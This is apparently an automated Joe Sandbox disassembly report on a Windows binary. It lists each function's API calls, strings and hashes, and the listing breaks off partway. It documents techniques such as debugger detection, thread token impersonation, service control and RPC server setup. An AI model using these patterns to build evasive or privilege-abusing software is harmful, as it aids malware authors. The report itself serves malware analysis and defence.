Part of subcall function 004453D0: CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 00445472

EnterCriticalSection.KERNEL32(006EE074,Bprotect,00000008,B6184AA8), ref: 0040201B
LeaveCriticalSection.KERNEL32(006EE074,?,?,00000000), ref: 004020E3

Part of subcall function 004453D0: GetLastError.KERNEL32(Unable to open the service control manager!,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 0044549E
Part of subcall function 004453D0: GetLastError.KERNEL32(0068501C,0068501C,00000000,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 004454BB

Strings

751D, xrefs: 00401F7B
ln, xrefs: 00402082
Bprotect, xrefs: 00401EAE
ln, xrefs: 004020A4
Unable to create sync event, xrefs: 004022F9
7354, xrefs: 00401F68
tn, xrefs: 00402014
Driver incompatible with debugger detected., xrefs: 00401F85
BprotectEx, xrefs: 00401EE8
dump, xrefs: 00401F5B

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLastService$CloseCriticalHandleOpenSection$EnterLeaveManager
String ID: 7354$751D$Bprotect$BprotectEx$Driver incompatible with debugger detected.$Unable to create sync event$dump$ln$ln$tn
API String ID: 3032865254-1501417285
Opcode ID: 1daa061a3054e20f9323f5d35bf7382922dd57be532ee0bc05d3c12ce5a5ea73
Instruction ID: f97f9991b8a73fe95b126b61100629c2a8a912b54fe06c0565eb21300d4e6cca
Opcode Fuzzy Hash: 1daa061a3054e20f9323f5d35bf7382922dd57be532ee0bc05d3c12ce5a5ea73
Instruction Fuzzy Hash: 84E198B0D01348AFDB10DFA8C948B9DBBB1BF58314F14416AE805BB3D1DBB8A945CB95

Function 004403B0 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 225fileCOMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(00000000,?,B6184AA8,00000001), ref: 0044043C
ReadFile.KERNEL32(?,?,?,00000000,?), ref: 004404CF
GetLastError.KERNEL32(get_file_content: GetFileSizeEx), ref: 00440557
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 00440561
GetLastError.KERNEL32(get_file_content: ReadFile,00000000,0068501C,00000000), ref: 00440579
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 00440583
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000001,?), ref: 004405C3
WriteFile.KERNEL32(?,00000001,00000000,?,00000000,?,00000000,00000000,00000000,00000001,?), ref: 004405D2
SetEndOfFile.KERNEL32(?,?,00000001,00000000,?,00000000,?,00000000,00000000,00000000,00000001,?), ref: 004405DD
GetLastError.KERNEL32(set_file_content,?,00000001,00000000,?,00000000,?,00000000,00000000,00000000,00000001,?), ref: 004405F9
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 00440603

Strings

get_file_content, xrefs: 00440546
set_file_content, xrefs: 004405F4
get_file_content: ReadFile, xrefs: 00440574
get_file_content: GetFileSizeEx, xrefs: 00440552

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: File$Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_errorErrorLast$PointerReadSizeWrite
String ID: get_file_content$get_file_content: GetFileSizeEx$get_file_content: ReadFile$set_file_content
API String ID: 3630542392-2560017710
Opcode ID: 603f8093a2b7948c8c3e93171ab037def203d4980c28d03230dfd3b2d24a8e1d
Instruction ID: 31b66c68d4f2d9437a8c3aa5798b3e24a7cb4b249b92b186d138b382be692aff
Opcode Fuzzy Hash: 603f8093a2b7948c8c3e93171ab037def203d4980c28d03230dfd3b2d24a8e1d
Instruction Fuzzy Hash: 14719571A00209AFDB14DFA9DD49BAEBBB9FF44714F10412EF505A3280EB78A944CF95

Function 004029E0 Relevance: 24.9, APIs: 6, Strings: 8, Instructions: 383COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(02000000,00000000,?,B6184AA8,?,00000000), ref: 00402A65
VirtualQueryEx.KERNEL32(00000000,?,?,0000001C), ref: 00402AC0
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000104,00000104,00000000), ref: 00402B33
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402ED7
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00402F72
CloseHandle.KERNEL32(00000000,?,?,?,?,44313537,?,Exception in: ,?,00000098,?), ref: 00402F8D

Strings

7354, xrefs: 00402C35
PID: , xrefs: 00402C87
751D, xrefs: 00402C1F
Exception in: , xrefs: 00402C66
Exception address: , xrefs: 00402D16
Exception params: , xrefs: 00402CDB
Exception code: , xrefs: 00402CA7
dump, xrefs: 00402C11

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_$BaseCloseHandleModuleNameOpenProcessQueryVirtual
String ID: PID: $7354$751D$Exception address: $Exception code: $Exception in: $Exception params: $dump
API String ID: 3231659360-3444105237
Opcode ID: 5ae251192aa026c673e9c2affc75e5401a3bb9b34b2fb43bd9f42a4d1f2085fc
Instruction ID: b3a53905cc54f9ee789d26e147be125bd05ec11bf77f9c51946e5cd1d8790411
Opcode Fuzzy Hash: 5ae251192aa026c673e9c2affc75e5401a3bb9b34b2fb43bd9f42a4d1f2085fc
Instruction Fuzzy Hash: 18025B70E002289BDB14DF65DD49BEDB7B4BF58304F4081AEE449B3281EB78AA84CF54

Function 00421140 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 265COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004211C9
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00421215
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 004212ED
std::_Lockit::~_Lockit.LIBCPMT ref: 00421382
Concurrency::cancel_current_task.LIBCPMT ref: 004213A7
Concurrency::cancel_current_task.LIBCPMT ref: 004213AC
Concurrency::cancel_current_task.LIBCPMT ref: 004213B1
std::_Lockit::_Lockit.LIBCPMT ref: 004213F6
std::_Lockit::_Lockit.LIBCPMT ref: 00421419
std::_Lockit::~_Lockit.LIBCPMT ref: 00421439
std::_Lockit::~_Lockit.LIBCPMT ref: 004214CD

Strings

true, xrefs: 004212C5
bad locale name, xrefs: 0042139D
false, xrefs: 0042129B

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLockit::_Lockit::~_$Locinfo::_$Locinfo_ctorLocinfo_dtor
String ID: bad locale name$false$true
API String ID: 3080755909-1062449267
Opcode ID: c19173c4e01474b08a2d245d91f86dc13c2e6d60b9823169ae475fc1b85ae5b7
Instruction ID: f5b717675b1ca3d67998bae56213a2d17fb1b853f72b3bec12039f9c09235865
Opcode Fuzzy Hash: c19173c4e01474b08a2d245d91f86dc13c2e6d60b9823169ae475fc1b85ae5b7
Instruction Fuzzy Hash: 13A1C1B1E00359DFEF10DFA4E845BAEBBB5BF54304F14415AE804AB351E779A904CBA1

Function 00443D10 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 73threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00443D4C
OpenThreadToken.ADVAPI32(00000000,00000028,00000001,?,?,0042900F,B6184AA8,?), ref: 00443D58
GetLastError.KERNEL32(?,?,0042900F,B6184AA8,?), ref: 00443D62
ImpersonateSelf.ADVAPI32(00000002,?,?,0042900F,B6184AA8,?), ref: 00443D71
GetCurrentThread.KERNEL32 ref: 00443D7B
OpenThreadToken.ADVAPI32(00000000,00000028,00000001,?,?,?,0042900F,B6184AA8,?), ref: 00443D87
GetLastError.KERNEL32(Unable to assign the process impersonation token to the thread!,?,?,0042900F,B6184AA8,?), ref: 00443DAC
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 00443DB6
GetLastError.KERNEL32(Unable to obtain the thread access token!,?,?,0042900F,B6184AA8,?), ref: 00443DCE
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 00443DD8

Strings

Unable to obtain the thread access token!, xrefs: 00443DC9
Unable to adjust token privilege '{}'!, xrefs: 00443F78
Unable to assign the process impersonation token to the thread!, xrefs: 00443DA7

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Thread$ErrorLast$Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_errorCurrentOpenToken$ImpersonateSelf
String ID: Unable to adjust token privilege '{}'!$Unable to assign the process impersonation token to the thread!$Unable to obtain the thread access token!
API String ID: 3581119537-2596196782
Opcode ID: 7d1b7576be489d89b4ede25040cff5f63c5d52bc4fe4b078f515d76f95944e0e
Instruction ID: b9d3ece90ef8c8e0f97d8d659753c45fb5842d55db9c8cd891f20c53e5f44a04
Opcode Fuzzy Hash: 7d1b7576be489d89b4ede25040cff5f63c5d52bc4fe4b078f515d76f95944e0e
Instruction Fuzzy Hash: 3021A4B1945214ABDB10AFA9DC4DBAA7BACFB18B05F00451AF105E22C0DBBC9404CBA1

Function 004225E0 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 304COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00422686
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004226E1
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00422823
std::_Lockit::~_Lockit.LIBCPMT ref: 004228C7
Concurrency::cancel_current_task.LIBCPMT ref: 004228F9
std::_Lockit::_Lockit.LIBCPMT ref: 00422936
std::_Lockit::_Lockit.LIBCPMT ref: 00422959
std::_Lockit::~_Lockit.LIBCPMT ref: 00422979
std::_Lockit::~_Lockit.LIBCPMT ref: 00422A0D

Strings

true, xrefs: 00422795
bad locale name, xrefs: 004228EF
false, xrefs: 0042277F

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Concurrency::cancel_current_taskLocinfo_ctorLocinfo_dtor
String ID: bad locale name$false$true
API String ID: 3216591823-1062449267
Opcode ID: e68ef665e3772e2d066c9e1c028bdfd65584dbd5507b32d01a9ea40fe98cf376
Instruction ID: 550543f4f899d808efe39fe05f09579e2c4674b8f44762cfbd3b8a3331362dc6
Opcode Fuzzy Hash: e68ef665e3772e2d066c9e1c028bdfd65584dbd5507b32d01a9ea40fe98cf376
Instruction Fuzzy Hash: 94C1A1B1D003599FDF10DFA4D945BEEBBB4FF54304F14426AE809AB241EB74AA44CBA1

Function 0042BF05 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 241registrysynchronizationCOMMON

Download Yara Rule

APIs

RegisterServiceCtrlHandlerExW.ADVAPI32 ref: 0042C05F
GetLastError.KERNEL32 ref: 0042C153

Part of subcall function 004387B0: RpcServerUseProtseqEpW.RPCRT4(ncalrpc,0000000A,00689C68,00000000), ref: 004387CD
Part of subcall function 004387B0: RpcServerRegisterIfEx.RPCRT4(00629560,00000000,00000000,00000001,000004D2,00000000), ref: 004387F0
Part of subcall function 004387B0: RpcServerRegisterIfEx.RPCRT4(00629848,00000000,00000000,00000001,000004D2,00000000), ref: 0043880A
Part of subcall function 004387B0: RpcServerRegisterIfEx.RPCRT4(006297F0,00000000,00000000,00000001,000004D2,00000000), ref: 00438825

SetServiceStatus.ADVAPI32(?), ref: 0042C08A
WaitForSingleObject.KERNEL32(000000FF), ref: 0042C098
RpcServerUnregisterIf.RPCRT4(00629560,00000000,00000001), ref: 0042C0A7
RpcServerUnregisterIf.RPCRT4(00629848,00000000,00000001), ref: 0042C0B6
RpcServerUnregisterIf.RPCRT4(006297F0,00000000,00000001), ref: 0042C0C5
SetServiceStatus.ADVAPI32(?), ref: 0042C13C

Strings

RegisterServiceCtrlHandlerEx failure: gle={}, xrefs: 0042C192
StartServer failure: retval={}, xrefs: 0042C102
CC0D, xrefs: 0042C0E6

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Server$Register$ServiceUnregister$Status$CtrlErrorHandlerLastObjectProtseqSingleWait
String ID: CC0D$RegisterServiceCtrlHandlerEx failure: gle={}$StartServer failure: retval={}
API String ID: 548640598-1984496404
Opcode ID: 196bf70a1a7e704e644fd429604fe48f3685d0baa9237964f6b33f52f37159bc
Instruction ID: 8e1a66643717905f8c87438d7d5aa3bc2e78922bdf93e33288da3b8825f1a43c
Opcode Fuzzy Hash: 196bf70a1a7e704e644fd429604fe48f3685d0baa9237964f6b33f52f37159bc
Instruction Fuzzy Hash: 14416B71609301AFC700DF24EC86B6ABBE1FF98718F409A0DF5859B290DBB4A554CF56

Function 00453A10 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 201COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00008000,00000000,B6184AA8,?,?), ref: 00453B07
K32GetMappedFileNameW.KERNEL32(00000000,00400000,?,00000000), ref: 00453B15
GetLastError.KERNEL32(Unable to retrieve the path of the module!), ref: 00453C7D
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 00453C87
GetLastError.KERNEL32(Unable to get the path of the module!,?,0068501C,00000000), ref: 00453C9F
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 00453CA9
GetLastError.KERNEL32(Unable to store the path of the module!,?,0068501C,00000000), ref: 00453CC1
Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_error.LIBCMT ref: 00453CCB

Strings

Unable to store the path of the module!, xrefs: 00453CBC
Unable to get the path of the module!, xrefs: 00453C9A
Unable to retrieve the path of the module!, xrefs: 00453C78

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: Concurrency::scheduler_worker_creation_error::scheduler_worker_creation_errorErrorLast$CurrentFileMappedNameProcess
String ID: Unable to get the path of the module!$Unable to retrieve the path of the module!$Unable to store the path of the module!
API String ID: 3252908632-2385983247
Opcode ID: c55dfe5657d856c40a52b8044711847bdd6da283df7be8ad96f5ccbb35268990
Instruction ID: 4218829c18e53750d5a39a183ffd64d23ee085f23e07ca46df81352f10810355
Opcode Fuzzy Hash: c55dfe5657d856c40a52b8044711847bdd6da283df7be8ad96f5ccbb35268990
Instruction Fuzzy Hash: 2481A271D01208EBCB10DFA8DD45BDEBBB5FF58704F10425EE405A7241EB796A48CB95

Function 045A34BF Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,00000001,045A191E,045B10A0,00000008,045A1A55,?,00000001,?,045B10C0,0000000C,045A19F4,?,00000001,?), ref: 045A34C7
_free.LIBCMT ref: 045A34E0

Part of subcall function 045A3E93: HeapFree.KERNEL32(00000000,00000000,?,045A3320,00000000,?,?,?,00000000,?,045A485E,00000018,045B11B8,00000008,045A47AB,?), ref: 045A3EA7
Part of subcall function 045A3E93: GetLastError.KERNEL32(00000000,?,045A3320,00000000,?,?,?,00000000,?,045A485E,00000018,045B11B8,00000008,045A47AB,?,?), ref: 045A3EB9

_free.LIBCMT ref: 045A34F3
_free.LIBCMT ref: 045A3511
_free.LIBCMT ref: 045A3523
_free.LIBCMT ref: 045A3534
_free.LIBCMT ref: 045A353F
_free.LIBCMT ref: 045A3563
EncodePointer.KERNEL32(00000000), ref: 045A356A
_free.LIBCMT ref: 045A357F
_free.LIBCMT ref: 045A3595
_free.LIBCMT ref: 045A35BD

Memory Dump Source

Source File: 00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp, Offset: 045A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_45a0000_107.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: d9ce77c796fda892151541a4816bfe67c1e4eb80833dbd18811a1f428610b51b
Instruction ID: 5db510dddd9f10231d4b6429b4a591299c9dae92556c37e952f3e8cbc0ddf570
Opcode Fuzzy Hash: d9ce77c796fda892151541a4816bfe67c1e4eb80833dbd18811a1f428610b51b
Instruction Fuzzy Hash: 88217C71A012219BDF256F59F88841EB7A4FB4872C724117AFC0597350EB39ADA0FF90

Function 004453D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 107serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,B6184AA8,00000000,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 0044541C
OpenServiceW.ADVAPI32(00000000,?,00000001,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 00445440
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 00445453
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 0044546B
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 00445472
GetLastError.KERNEL32(Unable to open the service control manager!,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 0044549E
GetLastError.KERNEL32(0068501C,0068501C,00000000,?,?,?,?,?,?,?,00000001,005D1265,000000FF), ref: 004454BB

Strings

Unable to open the service control manager!, xrefs: 00445499
ServicesActive, xrefs: 00445415
Unable to open the service '{}'!, xrefs: 004454C9

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: ErrorLastService$CloseHandleOpen$Manager
String ID: ServicesActive$Unable to open the service '{}'!$Unable to open the service control manager!
API String ID: 467640263-4239946278
Opcode ID: 8e4fdbbf5a3bbe668cabeaf888fc78118545f8b6fa6c24db5b2d212d3a0de6ff
Instruction ID: 2b908c5f9719baa1284ca9901aed73ef5794f6f7cf5caa468bec4f3b531dbc6a
Opcode Fuzzy Hash: 8e4fdbbf5a3bbe668cabeaf888fc78118545f8b6fa6c24db5b2d212d3a0de6ff
Instruction Fuzzy Hash: AF310B71D41614ABDB10DFA8DD49BAEBBB9FF04B11F10011AF805E7381DB785904CBA5

Function 0055D500 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 175synchronizationCOMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,B6184AA8,?,00000000,00000000,Function_001CD550,000000FF,?,?,006852A8,?,lifetime_object must be allocated on static memory (static or global variable or member of such a variable).,?,006852A8,?,lifetime_object must be allocated on static memory (static or global variable or member of such a variable).), ref: 0055D716

Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(?,000000FF,?,B6184AA8,?,00000000), ref: 0055D63A
CloseHandle.KERNEL32(?), ref: 0055D651

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
Part of subcall function 004527C0: LeaveCriticalSection.KERNEL32(00000000,?,?,00000000), ref: 00452872

Part of subcall function 00451FE0: SetEvent.KERNEL32(00000000,B6184AA8,006ECEAC,?,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF), ref: 0045203A
Part of subcall function 00451FE0: CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,005D26B5,000000FF,?,004250AA), ref: 00452054
Part of subcall function 00451FE0: LeaveCriticalSection.KERNEL32(?), ref: 00452076

Strings

n, xrefs: 0055D5C4
n, xrefs: 0055D662
n, xrefs: 0055D566
lifetime_object must be allocated on static memory (static or global variable or member of such a variable)., xrefs: 0055D685, 0055D6B3
n, xrefs: 0055D5FF
n, xrefs: 0055D60C

Memory Dump Source

Source File: 00000000.00000002.2024484197.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2024458148.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024629402.00000000005F2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024688525.0000000000689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2024830577.000000000068A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025760712.00000000006EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2025876429.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_107.jbxd

Similarity

API ID: CriticalSection$CloseHandleLeave$DeleteEnterEventObjectSingleWait
String ID: lifetime_object must be allocated on static memory (static or global variable or member of such a variable).$n$n$n$n$n
API String ID: 1727174650-449160082
Opcode ID: 1ad14e757fcf07435ac94f128805851dd3f5ccded47d0bc8ad4eec00656db1c0
Instruction ID: 76ea6698efb7d86572829e1b09ca00754ace162406b393bdb9d858dd95236417
Opcode Fuzzy Hash: 1ad14e757fcf07435ac94f128805851dd3f5ccded47d0bc8ad4eec00656db1c0
Instruction Fuzzy Hash: 5C61CD71D003489FDB10DF95DC49BAEBFB9FF44714F10466AE805A7290EB796909CBA0

Function 0049E760 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 155synchronizationCOMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0049E957

Part of subcall function 00424470: CloseHandle.KERNEL32(?,B6184AA8,006ECEAC,00000018,?,?,0042500B,?,B6184AA8,?), ref: 004244D0
Part of subcall function 00424470: LeaveCriticalSection.KERNEL32(?,B6184AA8,006ECEAC,00000018), ref: 0042450A

WaitForSingleObject.KERNEL32(?,000000FF,?,B6184AA8,?), ref: 0049E89A
CloseHandle.KERNEL32(?), ref: 0049E8B1

Part of subcall function 004527C0: EnterCriticalSection.KERNEL32(00000000), ref: 0045283E
